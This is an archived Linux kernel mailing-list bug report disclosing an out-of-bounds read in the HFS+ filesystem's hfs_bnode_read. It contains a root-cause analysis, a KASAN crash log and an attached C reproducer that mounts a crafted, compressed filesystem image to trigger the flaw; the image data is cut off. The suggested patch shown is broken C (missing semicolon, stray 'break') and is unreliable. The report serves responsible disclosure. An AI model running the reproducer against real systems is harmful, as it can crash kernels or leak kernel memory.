linux-kernel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* [Bug Report] OOB-read BUG in HFS+ filesystem
@ 2025-04-14 13:45 =?gb18030?B?bm93NHlyZWFs?=
  2025-04-14 14:18 ` Christian Brauner
  0 siblings, 1 reply; 9+ messages in thread
From: =?gb18030?B?bm93NHlyZWFs?= @ 2025-04-14 13:45 UTC (permalink / raw)
  To: =?gb18030?B?QnJhdW5lcg==?=,
	=?gb18030?B?TWF0dGhldyBXaWxjb3ggKE9yYWNsZSk=?=,
	=?gb18030?B?S2FyYQ==?=, =?gb18030?B?Vmlybw==?=,
	=?gb18030?B?QmFjaWs=?=, =?gb18030?B?U3RvbmU=?=,
	=?gb18030?B?U2FuZGVlbg==?=, =?gb18030?B?Sm9obnNvbg==?=,
	=?gb18030?B?bGludXgtZnNkZXZlbA==?=,
	=?gb18030?B?bGludXgta2VybmVs?=

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain; charset="gb18030", Size: 11130 bytes --]

Dear Linux Security Maintainers,
I would like to report a OOB-read vulnerability in the HFS+ file system, which I discovered using our in-house developed kernel fuzzer, Symsyz.

1. Vulnerability Detail and Root Cause:
The vulnerability occurs in the function `hfsplus_bnode_dump` at LOC1(Please see the code below), where it calls `hfs_bnode_read_u16` to read `key_off` from the file system at the offset `off`. The value of `key_off` is a value in the image, and its size is controllable by the user (in the POC, we control this value to be 29234). At LOC2, `key_off` is used as an offset to read the content of the file system, triggering the following control flow: `hfs_bnode_read_u16 -> hfs_bnode_read`. The problem arises in the `hfs_bnode_read` function at LOC3, where the value of `key_off` read from the file system is not validated. If `key_off >> PAGE_SHIFT` exceeds the range of `node->page`, it will cause an out-of-bounds read at LOC4, triggering the vulnerability.

```c
// fs/hfsplus/bnode.c +291
void hfs_bnode_dump(struct hfs_bnode *node)
{
	struct hfs_bnode_desc desc;
	__be32 cnid;
	int i, off, key_off;

	hfs_dbg(BNODE_MOD, "bnode: %d\n", node->this);
	hfs_bnode_read(node, &desc, 0, sizeof(desc));
	hfs_dbg(BNODE_MOD, "%d, %d, %d, %d, %d\n",
		be32_to_cpu(desc.next), be32_to_cpu(desc.prev),
		desc.type, desc.height, be16_to_cpu(desc.num_recs));

	off = node->tree->node_size - 2;
	for (i = be16_to_cpu(desc.num_recs); i >= 0; off -= 2, i--) {
		key_off = hfs_bnode_read_u16(node, off); <------- LOC1: read offset from filesystem
		hfs_dbg(BNODE_MOD, " %d", key_off);
		if (i && node->type == HFS_NODE_INDEX) {
			int tmp;

			if (node->tree->attributes & HFS_TREE_VARIDXKEYS ||
					node->tree->cnid == HFSPLUS_ATTR_CNID)
				tmp = hfs_bnode_read_u16(node, key_off) + 2;
			else
				tmp = node->tree->max_key_len + 2;
			hfs_dbg_cont(BNODE_MOD, " (%d", tmp);
			hfs_bnode_read(node, &cnid, key_off + tmp, 4);
			hfs_dbg_cont(BNODE_MOD, ",%d)", be32_to_cpu(cnid));
		} else if (i && node->type == HFS_NODE_LEAF) {
			int tmp;

			tmp = hfs_bnode_read_u16(node, key_off); <------------ LOC2:read content according to the key_off
			hfs_dbg_cont(BNODE_MOD, " (%d)", tmp);
		}
	}
	hfs_dbg_cont(BNODE_MOD, "\n");
}

// fs/hfsplus/bnode.c +22
void hfs_bnode_read(struct hfs_bnode *node, void *buf, int off, int len)
{
	struct page **pagep;
	int l;

	off += node->page_offset; <------------ LOC3: missing check
	pagep = node->page + (off >> PAGE_SHIFT); <------------ LOC4: trigger the bug
	off &= ~PAGE_MASK;

	l = min_t(int, len, PAGE_SIZE - off);
	memcpy_from_page(buf, *pagep, off, l);

	while ((len -= l) != 0) {
		buf += l;
		l = min_t(int, len, PAGE_SIZE);
		memcpy_from_page(buf, *++pagep, 0, l);
	}
}

```

2. Impact Analysis
Through this vulnerability, it is possible to construct arbitrary kernel memory reads, which can be used to leak the kernel base address. When combined with other kernel arbitrary write vulnerabilities, this can lead to kernel control flow hijacking and other severe security issues.

3. Suggested Fix
Add validation for `off` in the function `hfs_bnode_read` (fs/hfsplus/bnode.c +22), a possible patch may as below.

```
diff --git a/fs/hfsplus/bnode.c b/fs/hfsplus/bnode.c
index 87974d5e6791..5bd31ebe648b 100644
--- a/fs/hfsplus/bnode.c
+++ b/fs/hfsplus/bnode.c
@@ -22,10 +22,14 @@
 void hfs_bnode_read(struct hfs_bnode *node, void *buf, int off, int len)
 {
        struct page **pagep;
-       int l;
+       int l, pagenum;
 
        off += node->page_offset;
-       pagep = node->page + (off >> PAGE_SHIFT);
+       pagenum = off >> PAGE_SHIFT
+       if (pagenum >= node->tree->pages_per_bnode)
+               break;
+       
+       pagep = node->page + pagenum;
        off &= ~PAGE_MASK;
 
        l = min_t(int, len, PAGE_SIZE - off);
```


4. Crash Log Overview:
```
BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x228/0x240 fs/hfsplus/bnode.c:32
Read of size 8 at addr ffff88802315cfc0 by task syz.0.7/9865

CPU: 0 UID: 0 PID: 9865 Comm: syz.0.7 Not tainted 6.15.0-rc1-00308-gecd5d67ad602 #3 PREEMPT(full)
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Call Trace:
 <task>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x10e/0x1f0 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:408 [inline]
 print_report+0xc6/0x680 mm/kasan/report.c:521
 kasan_report+0xe4/0x120 mm/kasan/report.c:634
 hfsplus_bnode_read+0x228/0x240 fs/hfsplus/bnode.c:32
 hfsplus_bnode_read_u16 fs/hfsplus/bnode.c:45 [inline]
 hfsplus_bnode_dump+0x31f/0x3c0 fs/hfsplus/bnode.c:321
 hfsplus_brec_remove+0x3d2/0x4e0 fs/hfsplus/brec.c:229
 __hfsplus_delete_attr+0x2a0/0x3b0 fs/hfsplus/attributes.c:299
 hfsplus_delete_all_attrs+0x26f/0x330 fs/hfsplus/attributes.c:378
 hfsplus_delete_cat+0x851/0xde0 fs/hfsplus/catalog.c:425
 hfsplus_unlink+0x20f/0x7f0 fs/hfsplus/dir.c:385
 hfsplus_rename+0xbc/0x200 fs/hfsplus/dir.c:547
 vfs_rename+0xf47/0x2120 fs/namei.c:5086
 do_renameat2+0x82c/0xc90 fs/namei.c:5235
 __do_sys_renameat2 fs/namei.c:5269 [inline]
 __se_sys_renameat2 fs/namei.c:5266 [inline]
 __x64_sys_renameat2+0xe7/0x130 fs/namei.c:5266
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xc7/0x250 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f2a209b2d5d
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f2a2181cba8 EFLAGS: 00000246 ORIG_RAX: 000000000000013c
RAX: ffffffffffffffda RBX: 00007f2a20bd5fa0 RCX: 00007f2a209b2d5d
RDX: 0000000000000004 RSI: 00004000000000c0 RDI: 0000000000000005
RBP: 00007f2a20a36327 R08: 0000000000000000 R09: 0000000000000000
R10: 0000400000000180 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f2a20bd5fac R14: 00007f2a20bd6038 R15: 00007f2a2181cd40
 </task>

Allocated by task 9865:
 kasan_save_stack+0x33/0x60 mm/kasan/common.c:47
 kasan_save_track+0x14/0x30 mm/kasan/common.c:68
 poison_kmalloc_redzone mm/kasan/common.c:377 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:394
 kasan_kmalloc include/linux/kasan.h:260 [inline]
 __do_kmalloc_node mm/slub.c:4331 [inline]
 __kmalloc_noprof+0x20e/0x560 mm/slub.c:4343
 kmalloc_noprof include/linux/slab.h:909 [inline]
 kzalloc_noprof include/linux/slab.h:1039 [inline]
 __hfs_bnode_create+0x107/0x8b0 fs/hfsplus/bnode.c:409
 hfsplus_bnode_find+0x2db/0xd20 fs/hfsplus/bnode.c:486
 hfsplus_brec_find+0x2b8/0x520 fs/hfsplus/bfind.c:172
 hfsplus_find_attr fs/hfsplus/attributes.c:160 [inline]
 hfsplus_delete_all_attrs+0x248/0x330 fs/hfsplus/attributes.c:371
 hfsplus_delete_cat+0x851/0xde0 fs/hfsplus/catalog.c:425
 hfsplus_unlink+0x20f/0x7f0 fs/hfsplus/dir.c:385
 hfsplus_rename+0xbc/0x200 fs/hfsplus/dir.c:547
 vfs_rename+0xf47/0x2120 fs/namei.c:5086
 do_renameat2+0x82c/0xc90 fs/namei.c:5235
 __do_sys_renameat2 fs/namei.c:5269 [inline]
 __se_sys_renameat2 fs/namei.c:5266 [inline]
 __x64_sys_renameat2+0xe7/0x130 fs/namei.c:5266
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xc7/0x250 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88802315cf00
 which belongs to the cache kmalloc-192 of size 192
The buggy address is located 40 bytes to the right of
 allocated 152-byte region [ffff88802315cf00, ffff88802315cf98)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff88802315ce00 pfn:0x2315c
flags: 0xfff00000000200(workingset|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000200 ffff88801b4413c0 ffffea0000005310 ffff88801b440288
raw: ffff88802315ce00 0000000000100002 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x252800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP|__GFP_THISNODE), pid 9, tgid 9 (kworker/0:0), ts 36080866601, free_ts 24921668201
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x181/0x1b0 mm/page_alloc.c:1717
 prep_new_page mm/page_alloc.c:1725 [inline]
 get_page_from_freelist+0x1074/0x3780 mm/page_alloc.c:3652
 __alloc_pages_slowpath mm/page_alloc.c:4473 [inline]
 __alloc_frozen_pages_noprof+0x5a5/0x2420 mm/page_alloc.c:4947
 alloc_slab_page mm/slub.c:2461 [inline]
 allocate_slab mm/slub.c:2623 [inline]
 new_slab+0x94/0x340 mm/slub.c:2676
 ___slab_alloc+0xd97/0x1970 mm/slub.c:3862
 __slab_alloc.isra.0+0x56/0xb0 mm/slub.c:3952
 __slab_alloc_node mm/slub.c:4027 [inline]
 slab_alloc_node mm/slub.c:4188 [inline]
 __kmalloc_cache_node_noprof+0x276/0x420 mm/slub.c:4370
 kmalloc_node_noprof include/linux/slab.h:928 [inline]
 alloc_worker kernel/workqueue.c:2647 [inline]
 create_worker+0x10f/0x7e0 kernel/workqueue.c:2790
 maybe_create_worker kernel/workqueue.c:3063 [inline]
 manage_workers kernel/workqueue.c:3115 [inline]
 worker_thread+0x926/0xe60 kernel/workqueue.c:3375
 kthread+0x3a5/0x770 kernel/kthread.c:464
 ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:153
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page last free pid 5273 tgid 5273 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 free_pages_prepare mm/page_alloc.c:1262 [inline]
 __free_frozen_pages+0x709/0x1030 mm/page_alloc.c:2680
 rcu_do_batch kernel/rcu/tree.c:2568 [inline]
 rcu_core+0x7ad/0x14a0 kernel/rcu/tree.c:2824
 handle_softirqs+0x1e7/0x8a0 kernel/softirq.c:579
 __do_softirq kernel/softirq.c:613 [inline]
 invoke_softirq kernel/softirq.c:453 [inline]
 __irq_exit_rcu+0xfe/0x160 kernel/softirq.c:680
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:696
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1049 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1049
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:702

Memory state around the buggy address:
 ffff88802315ce80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff88802315cf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
&gt;ffff88802315cf80: 00 00 00 fc fc fc fc fc fc fc fc fc fc fc fc fc
                                           ^
 ffff88802315d000: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
 ffff88802315d080: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
```

Since I am not a core hfs developer and only have a general understanding of the file system¡¯s internal logic, there might be inaccuracies in this analysis. I would appreciate it if you could forward this report to the appropriate maintainers for confirmation and further investigation. Please feel free to reach out if you need any clarification or would like additional information.

I¡¯ve attached the POC (written in C) for your convenience ¡ª it can be compiled directly with `gcc`.

Thanks for your attention to this matter.

Best regards,
luka

[-- Attachment #2: POC.c --]
[-- Type: application/octet-stream, Size: 20812 bytes --]

#define _GNU_SOURCE 

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <setjmp.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/loop.h>

#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif

static unsigned long long procid;

//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:

//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty.  In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//%    claim that you wrote the original software. If you use this software
//%    in a product, an acknowledgment in the product documentation would be
//%    appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//%    misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler    madler@alumni.caltech.edu

//% BEGIN CODE DERIVED FROM puff.{c,h}

#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288

struct puff_state {
	unsigned char* out;
	unsigned long outlen;
	unsigned long outcnt;
	const unsigned char* in;
	unsigned long inlen;
	unsigned long incnt;
	int bitbuf;
	int bitcnt;
	jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
	long val = s->bitbuf;
	while (s->bitcnt < need) {
		if (s->incnt == s->inlen)
			longjmp(s->env, 1);
		val |= (long)(s->in[s->incnt++]) << s->bitcnt;
		s->bitcnt += 8;
	}
	s->bitbuf = (int)(val >> need);
	s->bitcnt -= need;
	return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
	s->bitbuf = 0;
	s->bitcnt = 0;
	if (s->incnt + 4 > s->inlen)
		return 2;
	unsigned len = s->in[s->incnt++];
	len |= s->in[s->incnt++] << 8;
	if (s->in[s->incnt++] != (~len & 0xff) ||
	    s->in[s->incnt++] != ((~len >> 8) & 0xff))
		return -2;
	if (s->incnt + len > s->inlen)
		return 2;
	if (s->outcnt + len > s->outlen)
		return 1;
	for (; len--; s->outcnt++, s->incnt++) {
		if (s->in[s->incnt])
			s->out[s->outcnt] = s->in[s->incnt];
	}
	return 0;
}
struct puff_huffman {
	short* count;
	short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
	int first = 0;
	int index = 0;
	int bitbuf = s->bitbuf;
	int left = s->bitcnt;
	int code = first = index = 0;
	int len = 1;
	short* next = h->count + 1;
	while (1) {
		while (left--) {
			code |= bitbuf & 1;
			bitbuf >>= 1;
			int count = *next++;
			if (code - count < first) {
				s->bitbuf = bitbuf;
				s->bitcnt = (s->bitcnt - len) & 7;
				return h->symbol[index + (code - first)];
			}
			index += count;
			first += count;
			first <<= 1;
			code <<= 1;
			len++;
		}
		left = (MAXBITS + 1) - len;
		if (left == 0)
			break;
		if (s->incnt == s->inlen)
			longjmp(s->env, 1);
		bitbuf = s->in[s->incnt++];
		if (left > 8)
			left = 8;
	}
	return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
	int len;
	for (len = 0; len <= MAXBITS; len++)
		h->count[len] = 0;
	int symbol;
	for (symbol = 0; symbol < n; symbol++)
		(h->count[length[symbol]])++;
	if (h->count[0] == n)
		return 0;
	int left = 1;
	for (len = 1; len <= MAXBITS; len++) {
		left <<= 1;
		left -= h->count[len];
		if (left < 0)
			return left;
	}
	short offs[MAXBITS + 1];
	offs[1] = 0;
	for (len = 1; len < MAXBITS; len++)
		offs[len + 1] = offs[len] + h->count[len];
	for (symbol = 0; symbol < n; symbol++)
		if (length[symbol] != 0)
			h->symbol[offs[length[symbol]]++] = symbol;
	return left;
}
static int puff_codes(struct puff_state* s,
		      const struct puff_huffman* lencode,
		      const struct puff_huffman* distcode)
{
	static const short lens[29] = {
				       3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,
				       35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258};
	static const short lext[29] = {
				       0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2,
				       3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
	static const short dists[30] = {
					1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
					257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
					8193, 12289, 16385, 24577};
	static const short dext[30] = {
				       0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6,
				       7, 7, 8, 8, 9, 9, 10, 10, 11, 11,
				       12, 12, 13, 13};
	int symbol;
	do {
		symbol = puff_decode(s, lencode);
		if (symbol < 0)
			return symbol;
		if (symbol < 256) {
			if (s->outcnt == s->outlen)
				return 1;
			if (symbol)
				s->out[s->outcnt] = symbol;
			s->outcnt++;
		} else if (symbol > 256) {
			symbol -= 257;
			if (symbol >= 29)
				return -10;
			int len = lens[symbol] + puff_bits(s, lext[symbol]);
			symbol = puff_decode(s, distcode);
			if (symbol < 0)
				return symbol;
			unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
			if (dist > s->outcnt)
				return -11;
			if (s->outcnt + len > s->outlen)
				return 1;
			while (len--) {
				if (dist <= s->outcnt && s->out[s->outcnt - dist])
					s->out[s->outcnt] = s->out[s->outcnt - dist];
				s->outcnt++;
			}
		}
	} while (symbol != 256);
	return 0;
}
static int puff_fixed(struct puff_state* s)
{
	static int virgin = 1;
	static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
	static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
	static struct puff_huffman lencode, distcode;
	if (virgin) {
		lencode.count = lencnt;
		lencode.symbol = lensym;
		distcode.count = distcnt;
		distcode.symbol = distsym;
		short lengths[FIXLCODES];
		int symbol;
		for (symbol = 0; symbol < 144; symbol++)
			lengths[symbol] = 8;
		for (; symbol < 256; symbol++)
			lengths[symbol] = 9;
		for (; symbol < 280; symbol++)
			lengths[symbol] = 7;
		for (; symbol < FIXLCODES; symbol++)
			lengths[symbol] = 8;
		puff_construct(&lencode, lengths, FIXLCODES);
		for (symbol = 0; symbol < MAXDCODES; symbol++)
			lengths[symbol] = 5;
		puff_construct(&distcode, lengths, MAXDCODES);
		virgin = 0;
	}
	return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
	static const short order[19] =
	    {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15};
	int nlen = puff_bits(s, 5) + 257;
	int ndist = puff_bits(s, 5) + 1;
	int ncode = puff_bits(s, 4) + 4;
	if (nlen > MAXLCODES || ndist > MAXDCODES)
		return -3;
	short lengths[MAXCODES];
	int index;
	for (index = 0; index < ncode; index++)
		lengths[order[index]] = puff_bits(s, 3);
	for (; index < 19; index++)
		lengths[order[index]] = 0;
	short lencnt[MAXBITS + 1], lensym[MAXLCODES];
	struct puff_huffman lencode = {lencnt, lensym};
	int err = puff_construct(&lencode, lengths, 19);
	if (err != 0)
		return -4;
	index = 0;
	while (index < nlen + ndist) {
		int symbol;
		int len;
		symbol = puff_decode(s, &lencode);
		if (symbol < 0)
			return symbol;
		if (symbol < 16)
			lengths[index++] = symbol;
		else {
			len = 0;
			if (symbol == 16) {
				if (index == 0)
					return -5;
				len = lengths[index - 1];
				symbol = 3 + puff_bits(s, 2);
			} else if (symbol == 17)
				symbol = 3 + puff_bits(s, 3);
			else
				symbol = 11 + puff_bits(s, 7);
			if (index + symbol > nlen + ndist)
				return -6;
			while (symbol--)
				lengths[index++] = len;
		}
	}
	if (lengths[256] == 0)
		return -9;
	err = puff_construct(&lencode, lengths, nlen);
	if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
		return -7;
	short distcnt[MAXBITS + 1], distsym[MAXDCODES];
	struct puff_huffman distcode = {distcnt, distsym};
	err = puff_construct(&distcode, lengths + nlen, ndist);
	if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
		return -8;
	return puff_codes(s, &lencode, &distcode);
}
static int puff(
    unsigned char* dest,
    unsigned long* destlen,
    const unsigned char* source,
    unsigned long sourcelen)
{
	struct puff_state s = {
	    .out = dest,
	    .outlen = *destlen,
	    .outcnt = 0,
	    .in = source,
	    .inlen = sourcelen,
	    .incnt = 0,
	    .bitbuf = 0,
	    .bitcnt = 0,
	};
	int err;
	if (setjmp(s.env) != 0)
		err = 2;
	else {
		int last;
		do {
			last = puff_bits(&s, 1);
			int type = puff_bits(&s, 2);
			err = type == 0 ? puff_stored(&s) : (type == 1 ? puff_fixed(&s) : (type == 2 ? puff_dynamic(&s) : -1));
			if (err != 0)
				break;
		} while (!last);
	}
	*destlen = s.outcnt;
	return err;
}

//% END CODE DERIVED FROM puff.{c,h}

#define ZLIB_HEADER_WIDTH 2

static int puff_zlib_to_file(const unsigned char* source, unsigned long sourcelen, int dest_fd)
{
	if (sourcelen < ZLIB_HEADER_WIDTH)
		return 0;
	source += ZLIB_HEADER_WIDTH;
	sourcelen -= ZLIB_HEADER_WIDTH;
	const unsigned long max_destlen = 132 << 20;
	void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0);
	if (ret == MAP_FAILED)
		return -1;
	unsigned char* dest = (unsigned char*)ret;
	unsigned long destlen = max_destlen;
	int err = puff(dest, &destlen, source, sourcelen);
	if (err) {
		munmap(dest, max_destlen);
		errno = -err;
		return -1;
	}
	if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
		munmap(dest, max_destlen);
		return -1;
	}
	return munmap(dest, max_destlen);
}

static int setup_loop_device(unsigned char* data, unsigned long size, const char* loopname, int* loopfd_p)
{
	int err = 0, loopfd = -1;
	int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
	if (memfd == -1) {
		err = errno;
		goto error;
	}
	if (puff_zlib_to_file(data, size, memfd)) {
		err = errno;
		goto error_close_memfd;
	}
	loopfd = open(loopname, O_RDWR);
	if (loopfd == -1) {
		err = errno;
		goto error_close_memfd;
	}
	if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
		if (errno != EBUSY) {
			err = errno;
			goto error_close_loop;
		}
		ioctl(loopfd, LOOP_CLR_FD, 0);
		usleep(1000);
		if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
			err = errno;
			goto error_close_loop;
		}
	}
	close(memfd);
	*loopfd_p = loopfd;
	return 0;

error_close_loop:
	close(loopfd);
error_close_memfd:
	close(memfd);
error:
	errno = err;
	return -1;
}

static void reset_loop_device(const char* loopname)
{
	int loopfd = open(loopname, O_RDWR);
	if (loopfd == -1) {
		return;
	}
	if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
	}
	close(loopfd);
}

static long syz_mount_image(
    volatile long fsarg,
    volatile long dir,
    volatile long flags,
    volatile long optsarg,
    volatile long change_dir,
    volatile unsigned long size,
    volatile long image)
{
	unsigned char* data = (unsigned char*)image;
	int res = -1, err = 0, need_loop_device = !!size;
	char* mount_opts = (char*)optsarg;
	char* target = (char*)dir;
	char* fs = (char*)fsarg;
	char* source = NULL;
	char loopname[64];
	if (need_loop_device) {
		int loopfd;
		memset(loopname, 0, sizeof(loopname));
		snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
		if (setup_loop_device(data, size, loopname, &loopfd) == -1)
			return -1;
		close(loopfd);
		source = loopname;
	}
	mkdir(target, 0777);
	char opts[256];
	memset(opts, 0, sizeof(opts));
	if (strlen(mount_opts) > (sizeof(opts) - 32)) {
	}
	strncpy(opts, mount_opts, sizeof(opts) - 32);
	if (strcmp(fs, "iso9660") == 0) {
		flags |= MS_RDONLY;
	} else if (strncmp(fs, "ext", 3) == 0) {
		bool has_remount_ro = false;
		char* remount_ro_start = strstr(opts, "errors=remount-ro");
		if (remount_ro_start != NULL) {
			char after = *(remount_ro_start + strlen("errors=remount-ro"));
			char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
			has_remount_ro = ((before == '\0' || before == ',') && (after == '\0' || after == ','));
		}
		if (strstr(opts, "errors=panic") || !has_remount_ro)
			strcat(opts, ",errors=continue");
	} else if (strcmp(fs, "xfs") == 0) {
		strcat(opts, ",nouuid");
	}
	res = mount(source, target, fs, flags, opts);
	if (res == -1) {
		err = errno;
		goto error_clear_loop;
	}
	res = open(target, O_RDONLY | O_DIRECTORY);
	if (res == -1) {
		err = errno;
		goto error_clear_loop;
	}
	if (change_dir) {
		res = chdir(target);
		if (res == -1) {
			err = errno;
		}
	}

error_clear_loop:
	if (need_loop_device)
		reset_loop_device(loopname);
	errno = err;
	return res;
}

int main(void)
{
		syscall(__NR_mmap, /*addr=*/0x3ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x400000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x400001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
	const char* reason;
	(void)reason;
				if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
memcpy((void*)0x400000000600, "hfsplus\000", 8);
memcpy((void*)0x400000000200, "./bus\000", 6);
memcpy((void*)0x400000000640, "\x78\x9c\xec\xdd\xcf\x6f\x1c\x67\xfd\x07\xf0\xf7\xac\x1d\x27\x9b\x6f\xbf\xae\x9b\x26\x6d\x8a\x2a\xd5\x6a\x24\x40\x58\x24\xfe\x21\x17\xcc\x85\x80\x10\xf2\xa1\x42\x55\x39\x70\xb6\x12\xa7\xb1\xb2\x49\x8b\xed\x22\xb7\x42\xd4\xfc\xbe\xf6\xd0\x3f\xa0\x1c\x7c\xe3\x80\x90\xb8\x47\x2a\x17\x2e\x20\x2e\xbd\xfa\x58\x09\x89\x4b\x2f\x98\xd3\xa2\x99\x9d\xb5\x37\xfe\xd5\x75\x71\xbc\x9b\xf2\x7a\x45\xb3\xcf\x33\xf3\xcc\x3c\xcf\xe7\xf9\xcc\xce\xce\xee\x46\xd6\x06\xf8\x9f\xb5\x38\x95\xd1\x87\x29\xb2\x38\xf5\xea\x46\xb9\xbe\xbd\x35\xd7\xda\xde\x9a\xbb\xdf\xad\x27\x39\x9f\xa4\x91\x8c\x76\x8a\x14\xff\x6a\xb7\xdb\x1f\x25\x37\xd3\x59\xf2\x42\xb9\xb1\xee\xae\x38\x6a\x9c\x0f\x56\x16\x5e\xff\xf8\xd3\xed\x4f\x3a\x6b\xa3\xf5\x52\xed\xdf\x38\xee\xb8\xfe\x6c\xd6\x4b\x26\x93\x8c\xd4\x65\xff\x0e\x8c\xfe\x48\x7f\xb7\x4e\xdc\xdf\x61\xfd\x77\xc6\x28\x13\x76\xad\x9b\x38\x18\xb4\x73\x49\xda\x8f\xf8\xf1\x5f\x9e\xda\x6d\xe9\xd1\x3c\xec\xe8\x0b\x67\x12\x23\xf0\x78\x15\x9d\xfb\xe6\x01\x13\xc9\xc5\xfa\x42\x2f\xdf\x07\x74\xee\x8a\x9d\x7b\xf6\x13\x6d\x73\xd0\x01\x00\x00\x00\xc0\x19\x78\x7a\x27\x3b\xd9\xc8\xf8\xa0\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x27\x49\xfd\xfb\xff\x45\xbd\x34\xba\xf5\xc9\x14\xdd\xdf\xff\x1f\xab\xb7\xa5\xae\x0f\x97\x97\x4e\xb6\xfb\xc3\xc7\x15\x07\x00\x00\x00\x00\x00\x00\x00\x9c\x